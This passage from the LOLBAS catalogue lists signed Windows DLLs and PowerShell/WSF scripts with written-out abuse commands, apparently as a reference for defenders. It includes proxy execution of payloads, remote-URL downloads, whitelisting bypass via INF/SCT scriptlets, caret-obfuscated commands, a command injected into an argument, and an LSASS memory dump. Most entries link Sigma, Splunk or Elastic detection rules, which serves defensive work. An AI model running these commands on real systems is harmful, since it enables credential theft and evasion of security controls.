https://bohops.com/2018/03/10/leveraging-inf-sct-fetch-execute-techniques-for-bypass-evasion-persistence-part-2/\n - Link: https://twitter.com/pabraeken/status/991695411902599168\n - Link: https://twitter.com/0rbz_/status/974472392012689408\nAcknowledgement:\n - Person: Jimmy (LaunchINFSection)\n Handle: '@bohops'\n - Person: Fabrizio (RegisterOCX - DLL)\n Handle: '@0rbz_'\n - Person: Pierre-Alexandre Braeken (RegisterOCX - CMD)\n Handle: '@pabraeken'\n" }, { "path": "yml/OSLibraries/Ieframe.yml", "content": "---\nName: Ieframe.dll\nDescription: Internet Browser DLL for translating HTML code.\nAuthor: LOLBAS Team\nCreated: 2018-05-25\nCommands:\n - Command: rundll32.exe ieframe.dll,OpenURL {PATH_ABSOLUTE:.url}\n Description: Launch an executable payload via proxy through a(n) URL (information) file by calling OpenURL.\n Usecase: Load an executable payload by calling a .url file with or without quotes. The .url file extension can be renamed.\n Category: Execute\n Privileges: User\n MitreID: T1218.011\n OperatingSystem: Windows 10, Windows 11\n Tags:\n - Execute: URL\nFull_Path:\n - Path: c:\\windows\\system32\\ieframe.dll\n - Path: c:\\windows\\syswow64\\ieframe.dll\nCode_Sample:\n - Code: https://gist.githubusercontent.com/bohops/89d7b11fa32062cfe31be9fdb18f050e/raw/1206a613a6621da21e7fd164b80a7ff01c5b64ab/calc.url\nDetection:\n - Sigma: https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_rundll32_susp_activity.yml\nResources:\n - Link: http://www.hexacorn.com/blog/2018/03/15/running-programs-via-proxy-jumping-on-a-edr-bypass-trampoline-part-5/\n - Link: https://bohops.com/2018/03/17/abusing-exported-functions-and-exposed-dcom-interfaces-for-pass-thru-command-execution-and-lateral-movement/\n - Link: https://twitter.com/bohops/status/997690405092290561\n - Link: https://windows10dll.nirsoft.net/ieframe_dll.html\nAcknowledgement:\n - Person: Jimmy\n Handle: '@bohops'\n - Person: Adam\n Handle: '@hexacorn'\n" }, { "path": "yml/OSLibraries/Mshtml.yml", "content": "---\nName: Mshtml.dll\nDescription: Microsoft HTML Viewer\nAuthor: LOLBAS Team\nCreated: 2018-05-25\nCommands:\n - Command: rundll32.exe Mshtml.dll,PrintHTML {PATH_ABSOLUTE:.hta}\n Description: \"Invoke an HTML Application via mshta.exe (note: pops a security warning and a print dialogue box).\"\n Usecase: Launch an HTA application.\n Category: Execute\n Privileges: User\n MitreID: T1218.011\n OperatingSystem: Windows 10, Windows 11\n Tags:\n - Execute: HTA\nFull_Path:\n - Path: c:\\windows\\system32\\mshtml.dll\n - Path: c:\\windows\\syswow64\\mshtml.dll\nDetection:\n - Sigma: https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_rundll32_susp_activity.yml\nResources:\n - Link: https://twitter.com/pabraeken/status/998567549670477824\n - Link: https://windows10dll.nirsoft.net/mshtml_dll.html\nAcknowledgement:\n - Person: Pierre-Alexandre Braeken\n Handle: '@pabraeken'\n" }, { "path": "yml/OSLibraries/Pcwutl.yml", "content": "---\nName: Pcwutl.dll\nDescription: Microsoft HTML Viewer\nAuthor: LOLBAS Team\nCreated: 2018-05-25\nCommands:\n - Command: rundll32.exe pcwutl.dll,LaunchApplication {PATH:.exe}\n Description: Launch executable by calling the LaunchApplication function.\n Usecase: Launch an executable.\n Category: Execute\n Privileges: User\n MitreID: T1218.011\n OperatingSystem: Windows 10, Windows 11\n Tags:\n - Execute: EXE\nFull_Path:\n - Path: c:\\windows\\system32\\pcwutl.dll\n - Path: c:\\windows\\syswow64\\pcwutl.dll\nDetection:\n - Analysis: https://redcanary.com/threat-detection-report/techniques/rundll32/\n - Sigma: https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_rundll32_susp_activity.yml\nResources:\n - Link: https://twitter.com/harr0ey/status/989617817849876488\n - Link: https://windows10dll.nirsoft.net/pcwutl_dll.html\nAcknowledgement:\n - Person: Matt harr0ey\n Handle: '@harr0ey'\n" }, { "path": "yml/OSLibraries/PhotoViewer.yml", "content": "---\nName: PhotoViewer.dll\nDescription: Windows Photo Viewer\nAuthor: Avihay Eldad\nCreated: 2025-06-22\nCommands:\n - Command: rundll32.exe \"C:\\Program Files\\Windows Photo Viewer\\PhotoViewer.dll\",ImageView_Fullscreen {REMOTEURL}\n Description: Once executed, rundll32.exe will download the file at the specified URL to the user's INetCache folder using the Windows Photo Viewer DLL.\n Usecase: Download file from remote location.\n Category: Download\n Privileges: User\n MitreID: T1105\n OperatingSystem: Windows 10, Windows 11\n Tags:\n - Download: INetCache\nFull_Path:\n - Path: C:\\Program Files\\Windows Photo Viewer\\PhotoViewer.dll\n - Path: C:\\Program Files (x86)\\Windows Photo Viewer\\PhotoViewer.dll\nDetection:\n - IOC: Execution of rundll32.exe with 'ImageView_Fullscreen' and a remote URL (containing '://') as an argument\nAcknowledgement:\n - Person: Avihay Eldad\n Handle: '@avihayeldad'\n - Person: Tommy Warren\n" }, { "path": "yml/OSLibraries/Scrobj.yml", "content": "---\nName: Scrobj.dll\nDescription: Windows Script Component Runtime\nAuthor: Eral4m\nCreated: 2021-01-07\nCommands:\n - Command: rundll32.exe C:\\Windows\\System32\\scrobj.dll,GenerateTypeLib {REMOTEURL:.exe}\n Description: Once executed, scrobj.dll attempts to load a file from the URL and saves it to INetCache.\n Usecase: Download file from remote location.\n Category: Download\n Privileges: User\n MitreID: T1105\n OperatingSystem: Windows 10, Windows 11\n Tags:\n - Download: INetCache\nFull_Path:\n - Path: c:\\windows\\system32\\scrobj.dll\n - Path: c:\\windows\\syswow64\\scrobj.dll\nDetection:\n - Sigma: https://github.com/SigmaHQ/sigma/blob/e1a713d264ac072bb76b5c4e5f41315a015d3f41/rules/windows/process_creation/proc_creation_win_rundll32_susp_activity.yml\n - IOC: Execution of rundll32.exe with 'GenerateTypeLib' and a protocol handler ('://') on the command line\nResources:\n - Link: https://twitter.com/eral4m/status/1479106975967240209\nAcknowledgement:\n - Person: Eral4m\n Handle: '@eral4m'\n" }, { "path": "yml/OSLibraries/Setupapi.yml", "content": "---\nName: Setupapi.dll\nDescription: Windows Setup Application Programming Interface\nAuthor: LOLBAS Team\nCreated: 2018-05-25\nCommands:\n - Command: rundll32.exe setupapi.dll,InstallHinfSection DefaultInstall 128 {PATH_ABSOLUTE:.inf}\n Description: Execute the specified (local or remote) .wsh/.sct script with scrobj.dll in the .inf file by calling an information file directive (section name specified).\n Usecase: Run local or remote script(let) code through INF file specification.\n Category: AWL Bypass\n Privileges: User\n MitreID: T1218.011\n OperatingSystem: Windows 10, Windows 11\n Tags:\n - Execute: INF\n - Command: rundll32.exe setupapi.dll,InstallHinfSection DefaultInstall 128 {PATH_ABSOLUTE:.inf}\n Description: Launch an executable file via the InstallHinfSection function and .inf file section directive.\n Usecase: Load an executable payload.\n Category: Execute\n Privileges: User\n MitreID: T1218.011\n OperatingSystem: Windows\n Tags:\n - Execute: INF\nFull_Path:\n - Path: c:\\windows\\system32\\setupapi.dll\n - Path: c:\\windows\\syswow64\\setupapi.dll\nCode_Sample:\n - Code: https://raw.githubusercontent.com/huntresslabs/evading-autoruns/master/shady.inf\n - Code: https://gist.github.com/enigma0x3/469d82d1b7ecaf84f4fb9e6c392d25ba#file-backdoor-minimalist-sct\n - Code: https://gist.githubusercontent.com/enigma0x3/469d82d1b7ecaf84f4fb9e6c392d25ba/raw/6cb52b88bcc929f5555cd302d9ed848b7e407052/Backdoor-Minimalist.sct\n - Code: https://gist.githubusercontent.com/bohops/0cc6586f205f3691e04a1ebf1806aabd/raw/baf7b29891bb91e76198e30889fbf7d6642e8974/calc_exe.inf\nDetection:\n - Sigma: https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_rundll32_setupapi_installhinfsection.yml\n - Sigma: https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_rundll32_susp_activity.yml\n - Splunk: https://github.com/splunk/security_content/blob/86a5b644a44240f01274c8b74d19a435c7dae66e/detections/endpoint/detect_rundll32_application_control_bypass___setupapi.yml\nResources:\n - Link: https://github.com/huntresslabs/evading-autoruns\n - Link: https://twitter.com/pabraeken/status/994742106852941825\n - Link: https://windows10dll.nirsoft.net/setupapi_dll.html\nAcknowledgement:\n - Person: Kyle Hanslovan (COM Scriptlet)\n Handle: '@KyleHanslovan'\n - Person: Huntress Labs (COM Scriptlet)\n Handle: '@HuntressLabs'\n - Person: Casey Smith (COM Scriptlet)\n Handle: '@subTee'\n - Person: Nick Carr (Threat Intel)\n Handle: '@ItsReallyNick'\n" }, { "path": "yml/OSLibraries/Shdocvw.yml", "content": "---\nName: Shdocvw.dll\nDescription: Shell Doc Object and Control Library.\nAuthor: LOLBAS Team\nCreated: 2018-05-25\nCommands:\n - Command: rundll32.exe shdocvw.dll,OpenURL {PATH_ABSOLUTE:.url}\n Description: Launch an executable payload via proxy through a URL (information) file by calling OpenURL.\n Usecase: Load an executable payload by calling a .url file with or without quotes. The .url file extension can be renamed.\n Category: Execute\n Privileges: User\n MitreID: T1218.011\n OperatingSystem: Windows 10, Windows 11\n Tags:\n - Execute: URL\nFull_Path:\n - Path: c:\\windows\\system32\\shdocvw.dll\n - Path: c:\\windows\\syswow64\\shdocvw.dll\nCode_Sample:\n - Code: https://gist.githubusercontent.com/bohops/89d7b11fa32062cfe31be9fdb18f050e/raw/1206a613a6621da21e7fd164b80a7ff01c5b64ab/calc.url\nDetection:\n - Sigma: https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_rundll32_susp_activity.yml\nResources:\n - Link: http://www.hexacorn.com/blog/2018/03/15/running-programs-via-proxy-jumping-on-a-edr-bypass-trampoline-part-5/\n - Link: https://bohops.com/2018/03/17/abusing-exported-functions-and-exposed-dcom-interfaces-for-pass-thru-command-execution-and-lateral-movement/\n - Link: https://twitter.com/bohops/status/997690405092290561\n - Link: https://windows10dll.nirsoft.net/shdocvw_dll.html\nAcknowledgement:\n - Person: Adam\n Handle: '@hexacorn'\n - Person: Jimmy\n Handle: '@bohops'\n" }, { "path": "yml/OSLibraries/Shell32.yml", "content": "---\nName: Shell32.dll\nDescription: Windows Shell Common Dll\nAuthor: LOLBAS Team\nCreated: 2018-05-25\nCommands:\n - Command: rundll32.exe shell32.dll,Control_RunDLL {PATH_ABSOLUTE:.dll}\n Description: Launch a DLL payload by calling the Control_RunDLL function.\n Usecase: Load a DLL payload.\n Category: Execute\n Privileges: User\n MitreID: T1218.011\n OperatingSystem: Windows 10, Windows 11\n Tags:\n - Execute: DLL\n - Command: rundll32.exe shell32.dll,ShellExec_RunDLL {PATH:.exe}\n Description: Launch an executable by calling the ShellExec_RunDLL function.\n Usecase: Run an executable payload.\n Category: Execute\n Privileges: User\n MitreID: T1218.011\n OperatingSystem: Windows 10, Windows 11\n Tags:\n - Execute: EXE\n - Command: rundll32 SHELL32.DLL,ShellExec_RunDLL {PATH:.exe} {CMD:args}\n Description: Launch command line by calling the ShellExec_RunDLL function.\n Usecase: Run an executable payload.\n Category: Execute\n Privileges: User\n MitreID: T1218.011\n OperatingSystem: Windows 10, Windows 11\n Tags:\n - Execute: CMD\n - Command: rundll32.exe shell32.dll,#44 {PATH:.dll}\n Description: Load a DLL/CPL by calling undocumented Control_RunDLLNoFallback function.\n Usecase: Load a DLL/CPL payload.\n Category: Execute\n Privileges: User\n MitreID: T1218.011\n OperatingSystem: Windows 10, Windows 11\n Tags:\n - Execute: DLL\nFull_Path:\n - Path: c:\\windows\\system32\\shell32.dll\n - Path: c:\\windows\\syswow64\\shell32.dll\nDetection:\n - Sigma: https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_rundll32_susp_activity.yml\n - Splunk: https://github.com/splunk/security_content/blob/a1afa0fa605639cbef7d528dec46ce7c8112194a/detections/endpoint/rundll32_control_rundll_hunt.yml\nResources:\n - Link: https://twitter.com/Hexacorn/status/885258886428725250\n - Link: https://twitter.com/pabraeken/status/991768766898941953\n - Link: https://twitter.com/mattifestation/status/776574940128485376\n - Link: https://twitter.com/KyleHanslovan/status/905189665120149506\n - Link: https://windows10dll.nirsoft.net/shell32_dll.html\n - Link: https://www.hexacorn.com/blog/2025/05/18/shell32-dll-44-lolbin/\nAcknowledgement:\n - Person: Adam (Control_RunDLL, Control_RunDLLNoFallback)\n Handle: '@hexacorn'\n - Person: Pierre-Alexandre Braeken (ShellExec_RunDLL)\n Handle: '@pabraeken'\n - Person: Matt Graeber (ShellExec_RunDLL)\n Handle: '@mattifestation'\n - Person: Kyle Hanslovan (ShellExec_RunDLL)\n Handle: '@KyleHanslovan'\n" }, { "path": "yml/OSLibraries/Shimgvw.yml", "content": "---\nName: Shimgvw.dll\nDescription: Photo Gallery Viewer\nAuthor: Eral4m\nCreated: 2021-01-06\nCommands:\n - Command: rundll32.exe c:\\Windows\\System32\\shimgvw.dll,ImageView_Fullscreen {REMOTEURL:.exe}\n Description: Once executed, rundll32.exe will download the file at the URL in the command to INetCache. Can also be used with entrypoint 'ImageView_FullscreenA'.\n Usecase: Download file from remote location.\n Category: Download\n Privileges: User\n MitreID: T1105\n OperatingSystem: Windows 10, Windows 11\n Tags:\n - Download: INetCache\nFull_Path:\n - Path: c:\\windows\\system32\\shimgvw.dll\n - Path: c:\\windows\\syswow64\\shimgvw.dll\nDetection:\n - Sigma: https://github.com/SigmaHQ/sigma/blob/e1a713d264ac072bb76b5c4e5f41315a015d3f41/rules/windows/process_creation/proc_creation_win_rundll32_susp_activity.yml\n - IOC: Execution of rundll32.exe with 'ImageView_Fullscreen' and a protocol handler ('://') on the command line\nResources:\n - Link: https://twitter.com/eral4m/status/1479080793003671557\nAcknowledgement:\n - Person: Eral4m\n Handle: '@eral4m'\n" }, { "path": "yml/OSLibraries/Syssetup.yml", "content": "---\nName: Syssetup.dll\nDescription: Windows NT System Setup\nAuthor: LOLBAS Team\nCreated: 2018-05-25\nCommands:\n - Command: rundll32 syssetup.dll,SetupInfObjectInstallAction DefaultInstall 128 {PATH_ABSOLUTE:.inf}\n Description: Execute the specified (local or remote) .wsh/.sct script with scrobj.dll in the .inf file by calling an information file directive (section name specified).\n Usecase: Run local or remote script(let) code through INF file specification (Note May pop an error window).\n Category: AWL Bypass\n Privileges: User\n MitreID: T1218.011\n OperatingSystem: Windows 10, Windows 11\n Tags:\n - Execute: INF\n - Command: rundll32 syssetup.dll,SetupInfObjectInstallAction DefaultInstall 128 {PATH_ABSOLUTE:.inf}\n Description: Launch an executable file via the SetupInfObjectInstallAction function and .inf file section directive.\n Usecase: Load an executable payload.\n Category: Execute\n Privileges: User\n MitreID: T1218.011\n OperatingSystem: Windows 10, Windows 11\n Tags:\n - Execute: INF\nFull_Path:\n - Path: c:\\windows\\system32\\syssetup.dll\n - Path: c:\\windows\\syswow64\\syssetup.dll\nCode_Sample:\n - Code: https://raw.githubusercontent.com/huntresslabs/evading-autoruns/master/shady.inf\n - Code: https://gist.github.com/enigma0x3/469d82d1b7ecaf84f4fb9e6c392d25ba#file-backdoor-minimalist-sct\n - Code: https://gist.github.com/homjxi0e/87b29da0d4f504cb675bb1140a931415\nDetection:\n - Sigma: https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_rundll32_susp_activity.yml\n - Splunk: https://github.com/splunk/security_content/blob/86a5b644a44240f01274c8b74d19a435c7dae66e/detections/endpoint/detect_rundll32_application_control_bypass___syssetup.yml\nResources:\n - Link: https://twitter.com/pabraeken/status/994392481927258113\n - Link: https://twitter.com/harr0ey/status/975350238184697857\n - Link: https://twitter.com/bohops/status/975549525938135040\n - Link: https://windows10dll.nirsoft.net/syssetup_dll.html\nAcknowledgement:\n - Person: Pierre-Alexandre Braeken (Execute)\n Handle: '@pabraeken'\n - Person: Matt harr0ey (Execute)\n Handle: '@harr0ey'\n - Person: Jimmy (Scriptlet)\n Handle: '@bohops'\n" }, { "path": "yml/OSLibraries/Url.yml", "content": "---\nName: Url.dll\nDescription: Internet Shortcut Shell Extension DLL.\nAuthor: LOLBAS Team\nCreated: 2018-05-25\nCommands:\n - Command: rundll32.exe url.dll,OpenURL {PATH_ABSOLUTE:.hta}\n Description: Launch a HTML application payload by calling OpenURL.\n Usecase: Invoke an HTML Application via mshta.exe (Default Handler).\n Category: Execute\n Privileges: User\n MitreID: T1218.011\n OperatingSystem: Windows 10, Windows 11\n Tags:\n - Execute: HTA\n - Command: rundll32.exe url.dll,OpenURL {PATH_ABSOLUTE:.url}\n Description: Launch an executable payload via proxy through a .url (information) file by calling OpenURL.\n Usecase: Load an executable payload by calling a .url file.\n Category: Execute\n Privileges: User\n MitreID: T1218.011\n OperatingSystem: Windows 10, Windows 11\n Tags:\n - Execute: URL\n - Command: rundll32.exe url.dll,OpenURL file://^C^:^/^W^i^n^d^o^w^s^/^s^y^s^t^e^m^3^2^/^c^a^l^c^.^e^x^e\n Description: Launch an executable by calling OpenURL.\n Usecase: Load an executable payload by specifying the file protocol handler (obfuscated).\n Category: Execute\n Privileges: User\n MitreID: T1218.011\n OperatingSystem: Windows 10, Windows 11\n Tags:\n - Execute: EXE\n - Command: rundll32.exe url.dll,FileProtocolHandler {PATH_ABSOLUTE:.exe}\n Description: Launch an executable by calling FileProtocolHandler.\n Usecase: Launch an executable.\n Category: Execute\n Privileges: User\n MitreID: T1218.011\n OperatingSystem: Windows 10, Windows 11\n Tags:\n - Execute: EXE\n - Command: rundll32.exe url.dll,FileProtocolHandler file://^C^:^/^W^i^n^d^o^w^s^/^s^y^s^t^e^m^3^2^/^c^a^l^c^.^e^x^e\n Description: Launch an executable by calling FileProtocolHandler.\n Usecase: Load an executable payload by specifying the file protocol handler (obfuscated).\n Category: Execute\n Privileges: User\n MitreID: T1218.011\n OperatingSystem: Windows 10, Windows 11\n Tags:\n - Execute: EXE\n - Command: rundll32.exe url.dll,FileProtocolHandler file:///C:/test/test.hta\n Description: Launch a HTML application payload by calling FileProtocolHandler.\n Usecase: Invoke an HTML Application via mshta.exe (Default Handler).\n Category: Execute\n Privileges: User\n MitreID: T1218.011\n OperatingSystem: Windows 10, Windows 11\n Tags:\n - Execute: HTA\nFull_Path:\n - Path: c:\\windows\\system32\\url.dll\n - Path: c:\\windows\\syswow64\\url.dll\nDetection:\n - Sigma: https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_rundll32_susp_activity.yml\nResources:\n - Link: https://bohops.com/2018/03/17/abusing-exported-functions-and-exposed-dcom-interfaces-for-pass-thru-command-execution-and-lateral-movement/\n - Link: https://twitter.com/DissectMalware/status/995348436353470465\n - Link: https://twitter.com/bohops/status/974043815655956481\n - Link: https://twitter.com/yeyint_mth/status/997355558070927360\n - Link: https://twitter.com/Hexacorn/status/974063407321223168\n - Link: https://windows10dll.nirsoft.net/url_dll.html\nAcknowledgement:\n - Person: Adam (OpenURL)\n Handle: '@hexacorn'\n - Person: Jimmy (OpenURL)\n Handle: '@bohops'\n - Person: Malwrologist (FileProtocolHandler - HTA)\n Handle: '@DissectMalware'\n - Person: r0lan (Obfuscation)\n Handle: '@r0lan'\n" }, { "path": "yml/OSLibraries/Zipfldr.yml", "content": "---\nName: Zipfldr.dll\nDescription: Compressed Folder library\nAuthor: LOLBAS Team\nCreated: 2018-05-25\nCommands:\n - Command: rundll32.exe zipfldr.dll,RouteTheCall {PATH:.exe}\n Description: Launch an executable payload by calling RouteTheCall.\n Usecase: Launch an executable.\n Category: Execute\n Privileges: User\n MitreID: T1218.011\n OperatingSystem: Windows 10, Windows 11\n Tags:\n - Execute: EXE\n - Command: rundll32.exe zipfldr.dll,RouteTheCall file://^C^:^/^W^i^n^d^o^w^s^/^s^y^s^t^e^m^3^2^/^c^a^l^c^.^e^x^e\n Description: Launch an executable payload by calling RouteTheCall (obfuscated).\n Usecase: Launch an executable.\n Category: Execute\n Privileges: User\n MitreID: T1218.011\n OperatingSystem: Windows 10, Windows 11\n Tags:\n - Execute: EXE\nFull_Path:\n - Path: c:\\windows\\system32\\zipfldr.dll\n - Path: c:\\windows\\syswow64\\zipfldr.dll\nDetection:\n - Sigma: https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_rundll32_susp_activity.yml\nResources:\n - Link: https://twitter.com/moriarty_meng/status/977848311603380224\n - Link: https://twitter.com/bohops/status/997896811904929792\n - Link: https://windows10dll.nirsoft.net/zipfldr_dll.html\nAcknowledgement:\n - Person: Moriarty (Execution)\n Handle: '@moriarty_meng'\n - Person: r0lan (Obfuscation)\n Handle: '@r0lan'\n" }, { "path": "yml/OSLibraries/comsvcs.yml", "content": "---\nName: Comsvcs.dll\nDescription: COM+ Services\nAuthor: LOLBAS Team\nCreated: 2019-08-30\nCommands:\n - Command: rundll32 C:\\windows\\system32\\comsvcs.dll MiniDump {LSASS_PID} dump.bin full\n Description: Calls the MiniDump exported function of comsvcs.dll, which in turns calls MiniDumpWriteDump.\n Usecase: Dump Lsass.exe process memory to retrieve credentials.\n Category: Dump\n Privileges: SYSTEM\n MitreID: T1003.001\n OperatingSystem: Windows 10, Windows 11\nFull_Path:\n - Path: c:\\windows\\system32\\comsvcs.dll\nCode_Sample:\n - Code: https://modexp.wordpress.com/2019/08/30/minidumpwritedump-via-com-services-dll/\nDetection:\n - Sigma: https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_rundll32_process_dump_via_comsvcs.yml\n - Sigma: https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_access/proc_access_win_lsass_dump_comsvcs_dll.yml\n - Elastic: https://github.com/elastic/detection-rules/blob/5bdf70e72c6cd4547624c521108189af994af449/rules/windows/credential_access_cmdline_dump_tool.toml\n - Splunk: https://github.com/splunk/security_content/blob/86a5b644a44240f01274c8b74d19a435c7dae66e/detections/endpoint/dump_lsass_via_comsvcs_dll.yml\nResources:\n - Link: https://modexp.wordpress.com/2019/08/30/minidumpwritedump-via-com-services-dll/\nAcknowledgement:\n - Person: modexp\n" }, { "path": "yml/OSScripts/CL_LoadAssembly.yml", "content": "---\nName: CL_LoadAssembly.ps1\nDescription: PowerShell Diagnostic Script\nAuthor: Jimmy (@bohops)\nCreated: 2021-09-26\nCommands:\n - Command: 'powershell.exe -ep bypass -command \"set-location -path C:\\Windows\\diagnostics\\system\\Audio; import-module .\\CL_LoadAssembly.ps1; LoadAssemblyFromPath ..\\..\\..\\..\\testing\\fun.dll;[Program]::Fun()\"'\n Description: Proxy execute Managed DLL with PowerShell\n Usecase: Execute proxied payload with Microsoft signed binary\n Category: Execute\n Privileges: User\n MitreID: T1216\n OperatingSystem: Windows 10 21H1 (likely other versions as well), Windows 11\n Tags:\n - Execute: DLL (.NET)\nFull_Path:\n - Path: C:\\Windows\\diagnostics\\system\\Audio\\CL_LoadAssembly.ps1\nDetection:\n - Sigma: https://github.com/SigmaHQ/sigma/blob/ff6c54ded6b52f379cec11fe17c1ccb956faa660/rules/windows/process_creation/proc_creation_win_lolbas_cl_loadassembly.yml\nResources:\n - Link: https://bohops.com/2018/01/07/executing-commands-and-bypassing-applocker-with-powershell-diagnostic-scripts/\nAcknowledgement:\n - Person: Jimmy\n Handle: '@bohops'\n" }, { "path": "yml/OSScripts/CL_mutexverifiers.yml", "content": "---\nName: CL_Mutexverifiers.ps1\nDescription: Proxy execution with CL_Mutexverifiers.ps1\nAuthor: Oddvar Moe\nCreated: 2018-05-25\nCommands:\n - Command: . C:\\Windows\\diagnostics\\system\\AERO\\CL_Mutexverifiers.ps1 \\nrunAfterCancelProcess {PATH:.ps1}\n Description: Import the PowerShell Diagnostic CL_Mutexverifiers script and call runAfterCancelProcess to launch an executable.\n Usecase: Proxy execution\n Category: Execute\n Privileges: User\n MitreID: T1216\n OperatingSystem: Windows 10\n Tags:\n - Execute: PowerShell\nFull_Path:\n - Path: C:\\Windows\\diagnostics\\system\\WindowsUpdate\\CL_Mutexverifiers.ps1\n - Path: C:\\Windows\\diagnostics\\system\\Audio\\CL_Mutexverifiers.ps1\n - Path: C:\\Windows\\diagnostics\\system\\WindowsUpdate\\CL_Mutexverifiers.ps1\n - Path: C:\\Windows\\diagnostics\\system\\Video\\CL_Mutexverifiers.ps1\n - Path: C:\\Windows\\diagnostics\\system\\Speech\\CL_Mutexverifiers.ps1\nDetection:\n - Sigma: https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_lolbin_cl_mutexverifiers.yml\nResources:\n - Link: https://twitter.com/pabraeken/status/995111125447577600\nAcknowledgement:\n - Person: Pierre-Alexandre Braeken\n Handle: '@pabraeken'\n" }, { "path": "yml/OSScripts/Cl_invocation.yml", "content": "---\nName: CL_Invocation.ps1\nDescription: Aero diagnostics script\nAuthor: Oddvar Moe\nCreated: 2018-05-25\nCommands:\n - Command: . C:\\Windows\\diagnostics\\system\\AERO\\CL_Invocation.ps1 \\nSyncInvoke {CMD}\n Description: Import the PowerShell Diagnostic CL_Invocation script and call SyncInvoke to launch an executable.\n Usecase: Proxy execution\n Category: Execute\n Privileges: User\n MitreID: T1216\n OperatingSystem: Windows 10\n Tags:\n - Execute: CMD\nFull_Path:\n - Path: C:\\Windows\\diagnostics\\system\\AERO\\CL_Invocation.ps1\n - Path: C:\\Windows\\diagnostics\\system\\Audio\\CL_Invocation.ps1\n - Path: C:\\Windows\\diagnostics\\system\\WindowsUpdate\\CL_Invocation.ps1\nDetection:\n - Sigma: https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/process_creation/proc_creation_win_lolbin_cl_invocation.yml\n - Sigma: https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/powershell/powershell_script/posh_ps_cl_invocation_lolscript.yml\nAcknowledgement:\n - Person: Jimmy\n Handle: '@bohops'\n - Person: Pierre-Alexandre Braeken\n Handle: '@pabraeken'\n" }, { "path": "yml/OSScripts/Launch-VsDevShell.yml", "content": "---\nName: Launch-VsDevShell.ps1\nDescription: Locates and imports a Developer PowerShell module and calls the Enter-VsDevShell cmdlet\nAuthor: 'Nasreddine Bencherchali'\nCreated: 2022-06-13\nCommands:\n - Command: 'powershell -ep RemoteSigned -f .\\Launch-VsDevShell.ps1 -VsWherePath {PATH_ABSOLUTE:.exe}'\n Description: Execute binaries from the context of the signed script using the \"VsWherePath\" flag.\n Usecase: Proxy execution\n Category: Execute\n Privileges: User\n MitreID: T1216\n OperatingSystem: Windows 10, Windows 11\n Tags:\n - Execute: EXE\n - Command: 'powershell -ep RemoteSigned -f .\\Launch-VsDevShell.ps1 -VsInstallationPath \"/../../../../../; {PATH:.exe} ;\"'\n Description: Execute binaries and commands from the context of the signed script using the \"VsInstallationPath\" flag.\n Usecase: Proxy execution\n Category: Execute\n Privileges: User\n MitreID: T1216\n OperatingSystem: Windows 10, Windows 11\n Tags:\n - Execute: EXE\nFull_Path:\n - Path: C:\\Program Files (x86)\\Microsoft Visual Studio\\2019\\Community\\Common7\\Tools\\Launch-VsDevShell.ps1\n - Path: C:\\Program Files\\Microsoft Visual Studio\\2022\\Community\\Common7\\Tools\\Launch-VsDevShell.ps1\nDetection:\n - Sigma: https://github.com/SigmaHQ/sigma/blob/6199a703221a98ae6ad343c79c558da375203e4e/rules/windows/process_creation/proc_creation_win_lolbin_launch_vsdevshell.yml\nResources:\n - Link: https://twitter.com/nas_bench/status/1535981653239255040\nAcknowledgement:\n - Person: Nasreddine Bencherchali\n Handle: '@nas_bench'\n" }, { "path": "yml/OSScripts/Manage-bde.yml", "content": "---\nName: Manage-bde.wsf\nDescription: Script for managing BitLocker\nAuthor: Oddvar Moe\nCreated: 2018-05-25\nCommands:\n - Command: set comspec={PATH_ABSOLUTE:.exe} & cscript c:\\windows\\system32\\manage-bde.wsf\n Description: Set the comspec variable to another executable prior to calling manage-bde.wsf for execution.\n Usecase: Proxy execution from script\n Category: Execute\n Privileges: User\n MitreID: T1216\n OperatingSystem: Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11\n Tags:\n - Execute: EXE\n - Command: copy c:\\users\\person\\evil.exe c:\\users\\public\\manage-bde.exe & cd c:\\users\\public\\ & cscript.exe c:\\windows\\system32\\manage-bde.wsf\n Description: Run the manage-bde.wsf script with a payload named manage-bde.exe in the same directory to run the payload file.\n Usecase: Proxy execution from script\n Category: Execute\n Privileges: User\n MitreID: T1216\n OperatingSystem: Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11\n Tags:\n - Execute: EXE\nFull_Path:\n - Path: C:\\Windows\\System32\\manage-bde.wsf\nDetection:\n - Sigma: https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_lolbin_manage_bde.yml\n - IOC: Manage-bde.wsf should not be invoked by a standard user under normal situations\nResources:\n - Link: https://gist.github.com/bohops/735edb7494fe1bd1010d67823842b712\n - Link: https://twitter.com/bohops/status/980659399495741441\n - Link: 